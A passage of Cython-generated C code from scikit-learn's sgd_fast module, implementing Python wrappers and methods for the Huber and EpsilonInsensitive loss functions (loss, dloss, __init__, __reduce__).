values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_4dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":257\n *             return self.c * abs_r - (0.5 * self.c * self.c)\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_6__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":267\n *             return -self.c\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return Huber, (self.c,)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":268\n * \n *     def __reduce__(self):\n *         return Huber, (self.c,)             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(__pyx_v_self->c); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 268; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 268; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1);\n  __Pyx_GIVEREF(__pyx_t_1);\n  __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 268; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Huber)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Huber)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Huber)));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_t_2));\n  __Pyx_GIVEREF(((PyObject *)__pyx_t_2));\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_epsilon;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__ (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__epsilon,0};\n    PyObject* values[1] = {0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__epsilon)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"__init__\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 279; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 1) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n    }\n    __pyx_v_epsilon = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_epsilon == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 279; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"__init__\", 1, 1, 1, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 279; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.__init__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return -1;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive___init__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self), __pyx_v_epsilon);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":279\n *     cdef double epsilon\n * \n *     def __init__(self, double epsilon):             # <<<<<<<<<<<<<<\n *         self.epsilon = epsilon\n * \n */\n\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_epsilon) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":280\n * \n *     def __init__(self, double epsilon):\n *         self.epsilon = epsilon             # <<<<<<<<<<<<<<\n * \n *     cpdef double loss(self, double p, double y):\n */\n  __pyx_v_self->epsilon = __pyx_v_epsilon;\n\n  __pyx_r = 0;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":282\n *         self.epsilon = epsilon\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret if ret > 0 else 0\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_ret;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_3loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":283\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double ret = abs(y - p) - self.epsilon             # <<<<<<<<<<<<<<\n *         return ret if ret > 0 else 0\n * \n */\n  __pyx_v_ret = (fabs((__pyx_v_y - __pyx_v_p)) - __pyx_v_self->epsilon);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":284\n *     cpdef double loss(self, double p, double y):\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret if ret > 0 else 0             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  if ((__pyx_v_ret > 0.0)) {\n    __pyx_t_5 = __pyx_v_ret;\n  } else {\n    __pyx_t_5 = 0;\n  }\n  __pyx_r = __pyx_t_5;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_2loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":282\n *         self.epsilon = epsilon\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double ret = abs(y - p) - self.epsilon\n *         return ret if ret > 0 else 0\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 282; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":286\n *         return ret if ret > 0 else 0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         if y - p > self.epsilon:\n *             return -1\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_5dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 286; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":287\n * \n *     cpdef double dloss(self, double p, double y):\n *         if y - p > self.epsilon:             # <<<<<<<<<<<<<<\n *             return -1\n *         elif p - y > self.epsilon:\n */\n  __pyx_t_6 = ((__pyx_v_y - __pyx_v_p) > __pyx_v_self->epsilon);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":288\n *     cpdef double dloss(self, double p, double y):\n *         if y - p > self.epsilon:\n *             return -1             # <<<<<<<<<<<<<<\n *         elif p - y > self.epsilon:\n *             return 1\n */\n    __pyx_r = -1.0;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":289\n *         if y - p > self.epsilon:\n *             return -1\n *         elif p - y > self.epsilon:             # <<<<<<<<<<<<<<\n *             return 1\n *         else:\n */\n  __pyx_t_6 = ((__pyx_v_p - __pyx_v_y) > __pyx_v_self->epsilon);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":290\n *             return -1\n *         elif p - y > self.epsilon:\n *             return 1             # <<<<<<<<<<<<<<\n *         else:\n *             return 0\n */\n    __pyx_r = 1.0;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":292\n *             return 1\n *         else:\n *             return 0             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n    __pyx_r = 0.0;\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.EpsilonInsensitive.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject 